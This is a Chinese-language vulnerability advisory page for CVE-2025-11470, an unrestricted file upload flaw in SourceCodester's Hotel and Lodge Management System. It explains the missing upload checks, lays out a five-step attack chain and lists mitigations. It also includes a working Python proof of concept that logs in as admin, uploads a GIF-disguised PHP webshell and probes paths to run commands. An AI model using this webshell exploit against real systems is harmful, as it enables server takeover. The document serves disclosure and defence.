IPBUF安全漏洞报告
English
CVE-2025-11470 CVSS 4.7 中危

CVE-2025-11470 SourceCodester酒店管理系统任意文件上传漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11470
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

CVE-2025-11470任意文件上传Unrestricted File UploadSourceCodesterHotel and Lodge Management SystemPHPWebShell远程代码执行管理后台漏洞中危漏洞

漏洞概述

CVE-2025-11470是SourceCodester酒店与旅馆管理系统(Hotel and Lodge Management System)1.0及以下版本中存在的一个安全漏洞。该漏洞位于系统管理后台的/manage_website.php文件中,具体涉及对website_image和back_login_image两个参数的文件上传处理逻辑。由于系统未对上传的文件类型、扩展名及内容进行充分的验证和过滤,攻击者可以在已认证的管理员权限下,将恶意文件(如WebShell)上传至服务器,从而实现远程代码执行。

该漏洞的CVSS 3.1评分为4.7,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能利用,这意味着攻击者必须先获取管理员账号凭据才能触发该漏洞。用户交互不需要(UI:N),且对机密性、完整性和可用性均产生低程度影响。

该漏洞已于2025年10月8日公开披露,相关利用细节已在GitHub等平台公开,可能被恶意攻击者利用。建议使用该系统的组织尽快采取修复措施,包括升级到安全版本或应用安全补丁,以防止潜在的服务器被入侵风险。

技术细节

该漏洞的核心问题在于/manage_website.php文件对文件上传功能缺乏有效的安全校验机制。在正常的网站管理功能中,管理员需要上传网站Logo(website_image)和后台登录页面背景图片(back_login_image),但代码实现中没有对上传文件的以下关键属性进行验证:

1. **文件扩展名验证缺失**:系统未检查上传文件的扩展名是否在白名单内(如仅允许.jpg、.png、.gif等图片格式),导致攻击者可以上传.php、.jsp、.asp等可执行脚本文件。

2. **MIME类型校验不足**:仅依赖浏览器发送的Content-Type头进行判断,攻击者可轻易伪造该头部信息绕过检测。

3. **文件内容检测缺失**:未对上传文件的内容进行魔术字节(Magic Bytes)检测,无法识别经过伪装的可执行文件。

4. **上传目录执行权限未限制**:上传的文件存储在Web可访问目录中,且该目录允许服务器解析执行脚本文件。

利用方式:攻击者首先需要通过其他途径(如弱口令爆破、社会工程学等)获取管理员账号凭据。登录管理后台后,访问/manage_website.php页面,在website_image或back_login_image参数对应的文件上传表单中提交一个包含恶意PHP代码的图片文件(可通过在合法图片中嵌入PHP代码或直接修改扩展名实现)。上传成功后,攻击者可通过浏览器直接访问上传文件的URL,执行其中的恶意代码,实现对服务器的完全控制。

攻击链分析

STEP 1
步骤1:获取管理员凭据
攻击者通过弱口令爆破、社会工程学、SQL注入或其他途径获取SourceCodester酒店管理系统的管理员账号和密码。由于漏洞需要高权限(PR:H),此步骤是攻击的前置条件。
STEP 2
步骤2:登录管理后台
使用获取的管理员凭据登录系统管理后台,访问网站管理功能页面/manage_website.php,该页面提供网站Logo和后台登录背景图片的上传功能。
STEP 3
步骤3:构造恶意上传文件
创建一个包含PHP WebShell代码的恶意文件,通常伪装成图片格式(如在GIF文件头后附加PHP代码),命名为shell.php或类似的可执行文件名。
STEP 4
步骤4:上传恶意文件
通过website_image或back_login_image参数上传构造的恶意文件。由于系统缺乏文件类型验证,恶意文件被成功上传至服务器Web可访问目录。
STEP 5
步骤5:执行远程代码
通过浏览器直接访问上传的恶意文件URL,服务器解析执行其中的PHP代码,攻击者获得对服务器的命令执行权限,可进一步提权、内网渗透或植入持久化后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11470 PoC - SourceCodester Hotel and Lodge Management System # Unrestricted File Upload in /manage_website.php import requests from requests_toolbelt.multipart.encoder import MultipartEncoder TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/login.php" UPLOAD_URL = f"{TARGET_URL}/manage_website.php" USERNAME = "admin" PASSWORD = "admin123" # Create a malicious PHP webshell disguised as an image # GIF89a header + PHP code WEBSHELL_CONTENT = b"GIF89a;\n<?php system($_GET['cmd']); ?>" session = requests.Session() # Step 1: Login as administrator login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } login_response = session.post(ADMIN_LOGIN_URL, data=login_data) print(f"[*] Login Status: {login_response.status_code}") # Step 2: Upload malicious file via website_image parameter multipart_data = MultipartEncoder( fields={ "website_image": ("shell.php", WEBSHELL_CONTENT, "image/gif"), "back_login_image": ("back.php", WEBSHELL_CONTENT, "image/gif"), "update": "Update" } ) headers = { "Content-Type": multipart_data.content_type, "Referer": UPLOAD_URL } upload_response = session.post(UPLOAD_URL, data=multipart_data, headers=headers) print(f"[*] Upload Status: {upload_response.status_code}") # Step 3: Access the uploaded webshell # Common upload paths to try upload_paths = [ f"{TARGET_URL}/uploads/shell.php?cmd=id", f"{TARGET_URL}/upload/shell.php?cmd=id", f"{TARGET_URL}/images/shell.php?cmd=id", f"{TARGET_URL}/shell.php?cmd=id" ] for path in upload_paths: try: shell_response = session.get(path, timeout=5) if shell_response.status_code == 200 and "uid=" in shell_response.text: print(f"[+] Shell found at: {path}") print(f"[+] Output: {shell_response.text}") break except Exception as e: continue

影响范围

SourceCodester Hotel and Lodge Management System <= 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制/manage_website.php文件的访问权限,仅允许特定IP地址访问管理后台;2)在Web服务器层面配置上传目录,禁止PHP等脚本文件的执行权限;3)定期检查服务器上传目录,发现可疑文件立即删除;4)加强管理员账号密码强度,启用登录失败锁定机制;5)部署Web应用防火墙(WAF),检测和阻断恶意文件上传行为;6)监控系统日志,及时发现异常的登录和文件操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表